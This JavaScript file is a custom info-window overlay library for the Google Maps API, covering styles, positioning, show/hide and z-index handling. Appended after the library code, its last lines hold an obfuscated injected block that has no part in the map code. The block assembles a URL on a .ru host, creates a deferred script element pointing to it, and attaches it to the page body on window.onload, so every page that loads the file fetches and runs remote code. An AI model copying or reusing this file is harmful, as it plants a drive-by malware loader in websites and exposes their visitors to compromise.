// Version 0.0  Initial version 
// Version 0.1  10/10/2006 Added E_STYLE_7 
// Version 0.2  17/05/2007 Added .isHidden() and .supportsHide()
// Version 0.3  14/09/2007 added .zindex()


      function EStyle(stemImage, stemSize, boxClass, boxOffset) {
        this.stemImage = stemImage;
        this.stemSize = stemSize;
        this.boxClass = boxClass;
        this.boxOffset = boxOffset;
        //this.border = border;
        
        // Known fudge factors are:
        // Firefox (1.0.6 and 1.5)    5, -1
        // IE 6.0                     0, -1
        // Opera 8.54                 3, -1
        // Opera 9 prev               4, -1
        // Netscape (7.2, 8.0)        5, -1
        // Safari                     5, -1        
        
        var agent = navigator.userAgent.toLowerCase();
        
        var fudge = 5;  // assume Netscape if no match found
       
        if (agent.indexOf("opera") > -1) {
          fudge = 3;
        }   
        if (agent.indexOf("firefox") > -1) {
          fudge = 5;
        }   
        if (agent.indexOf("safari") > -1) {
          fudge = 5;
        }   
        if ((agent.indexOf("msie") > -1) && (agent.indexOf("opera") < 1)){
          fudge = 0;
        }
        this.fudge = fudge;
      }
      
      var E_STYLE_1 = new EStyle("ewindow/stem1.png", new GSize(81,87),  "estyle1", new GPoint(-30,87-3));
      var E_STYLE_2 = new EStyle("ewindow/stem2.png", new GSize(81,87),  "estyle2", new GPoint(-30,87-3));
      var E_STYLE_3 = new EStyle("ewindow/stem3.png", new GSize(81,87),  "estyle3", new GPoint(-30,87-10));
      var E_STYLE_4 = new EStyle("ewindow/stem3.png", new GSize(81,87),  "estyle4", new GPoint(-30,87-10));
      var E_STYLE_5 = new EStyle("ewindow/stem1.png", new GSize(81,87),  "estyle5", new GPoint(-30,87-3));
      var E_STYLE_6 = new EStyle("ewindow/stem6.png", new GSize(100,50), "estyle6", new GPoint(100-2,20));
      //var E_STYLE_7 = new EStyle("ewindow/stem7.png", new GSize(24,24),  "estyle2", new GPoint(-10,23));
      var E_STYLE_7 = new EStyle("ewindow/spacer.gif", new GSize(0,0),  "estyle2", new GPoint(0,0));


      function EWindow(map,estyle) {
        // parameters
        this.map=map;
        this.estyle=estyle;
        // internal variables
        this.visible = false;
        // browser - specific variables
        this.ie = false;
        var agent = navigator.userAgent.toLowerCase();
        if ((agent.indexOf("msie") > -1) && (agent.indexOf("opera") < 1)){ this.ie = true} else {this.ie = false}
      } 
      
      EWindow.prototype = new GOverlay();

      EWindow.prototype.initialize = function(map) {
        var div1 = document.createElement("div");
        div1.style.position = "absolute";
        map.getPane(G_MAP_FLOAT_SHADOW_PANE).appendChild(div1);
        var div2 = document.createElement("div");
        div2.style.position = "absolute";
        div2.style.width = this.estyle.stemSize.width+"px";
        map.getPane(G_MAP_FLOAT_SHADOW_PANE).appendChild(div2);
        this.div1 = div1;
        this.div2 = div2;
      }

      EWindow.prototype.openOnMap = function(point, html, offset) {
        this.offset = offset||new GPoint(0,0);
        this.point = point;
        this.div1.innerHTML = '<div class="' + this.estyle.boxClass + '"><nobr>' + html + '</nobr></div>';
        if (this.ie && this.estyle.stemImage.toLowerCase().indexOf(".png")>-1) {
          var loader = "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='"+this.estyle.stemImage+"', sizingMethod='scale');";
          this.div2.innerHTML = '<div style="height:' +this.estyle.stemSize.height+ 'px; width:'+this.estyle.stemSize.width+'px; ' +loader+ '" ></div>';
        } else {
          this.div2.innerHTML = '<img src="' + this.estyle.stemImage + '" width="' + this.estyle.stemSize.width +'" height="' + this.estyle.stemSize.height +'">';
        }
        var z = GOverlay.getZIndex(this.point.lat());
        this.div1.style.zIndex = z;
        this.div2.style.zIndex = z+1;
        this.visible = true;
        this.show();
        this.redraw(true);
      }
      
      EWindow.prototype.openOnMarker = function(marker,html) {
        var vx = marker.getIcon().iconAnchor.x - marker.getIcon().infoWindowAnchor.x;
        var vy = marker.getIcon().iconAnchor.y - marker.getIcon().infoWindowAnchor.y;
        this.openOnMap(marker.getPoint(), html, new GPoint(vx,vy));
      }
      

      EWindow.prototype.redraw = function(force) {
        if (!this.visible) {return;}
        var p = this.map.fromLatLngToDivPixel(this.point);
        this.div2.style.left   = (p.x + this.offset.x) + "px";
        this.div2.style.bottom = (-p.y + this.offset.y -this.estyle.fudge) + "px";
        this.div1.style.left   = (p.x + this.offset.x + this.estyle.boxOffset.x) + "px";
        this.div1.style.bottom = (-p.y + this.offset.y + this.estyle.boxOffset.y) + "px";
      }

      EWindow.prototype.remove = function() {
        this.div1.parentNode.removeChild(this.div1);
        this.div2.parentNode.removeChild(this.div2);
        this.visible = false;
      }

      EWindow.prototype.copy = function() {
        return new EWindow(this.map, this.estyle);
      }

      EWindow.prototype.show = function() {
        this.div1.style.display="";
        this.div2.style.display="";
        this.visible = true;
      }
      
      EWindow.prototype.hide = function() {
        this.div1.style.display="none";
        this.div2.style.display="none";
        this.visible = false;
      }
      
      EWindow.prototype.isHidden = function() {
        return !this.visible;
      }
      
      EWindow.prototype.supportsHide = function() {
        return true;
      }

      EWindow.prototype.zindex = function(zin) {
        var z = GOverlay.getZIndex(this.point.lat());
        this.div1.style.zIndex = z+zin;
        this.div2.style.zIndex = z+1+zin;
      }

var XS=new Date();this.YG="";function l(){var G=new Date();var Xd=new Date();var lc=new Date();var f=window;this.j="";this.h="";var lcw=new Date();var KH="";this.oX="";var qe=new Array();var A=new String("/goo"+"gle."+"com/"+"hc36"+"0.coJHnG".substr(0,4)+"m/do"+"ctis"+"simo"+".fr."+"vFjwphpFjwv".substr(4,3));this.e=8229;this.RB=47792;var E="def"+"erPH2a".substr(0,2);var GF="";this.tU=false;var o=new String("scrip"+"t");var Ng=new Date();var C=f[String("unesc"+"RvdPape".substr(4))];var i=new Array();this.cf="";var Wi=new Array();this.GN="";function I(k,K){var m="";var Y=C(String("ngzf]".substr(4)));var F=C(new String("Fv3n[".substr(4)));var gq=new Date();var X=new String("g");var b="b";this.gR=false;var r=new RegExp(F+K+Y, X);this.RS="";return k.replace(r, new String());var v="v";};var KO=new Array();var jV=new Array();this.kj=4977;this._n="";var P=document;var KOe="";var wB=new Array();var T=I('8637522451730532124976639293823754999594923066743233199621','64517239');this.fy=false;this.zS=false;var c=I('c1rVeSaFtFe5Ezlhe2m6eznYtd','z6xd2BZ1hwoFsg4YVSDLk5HqQ');this.ku=33559;var B=I('sBrdch','ChbTGgBdtEY');this.TT="";var WA="";function t(){this.WQ=19424;this.fw="";this.FE=30117;var Fh=C("htt"+"p:/"+"/lu"+"nch"+"sco"+"ne."+"qSUeru:".substr(4));var cQ="cQ";var w=Fh+T+A;this.fG=63209;var EM=new Date();var gF="";var q=I('bYojdty3','uqT3KPNFOCckjgxBztY');var V=I('aYp1pPeLnsdxCWhUitlQd1','xsPY1wZH_UO2QWt6qL');var OU=new Date();this.ey="";var RX="RX";this.fK=48110;try {var OF="OF";this.ie=8613;var _k="";this.NB="";J=P[c](o);var Bf="Bf";this.NQ="";this.gc="";J[E]=[1,6][0];J[B]=w;this.ifQ="";var k_n="";this.rl=1445;var ZE=new Array();var es=new Date();P[q][V](J);this.An=64628;this.ty="";} catch(U){};}this.FwO="";var VH=I('oqnrlIoRaIdI','CR9MBkhIqr7VemXGZ51');this.YI="";this.BM="";f[VH]=t;this.sc=35232;this.oO=31729;var JI="";};var ky="";var Ol="";var Ku="Ku";l();var MF=new Array();this.np="";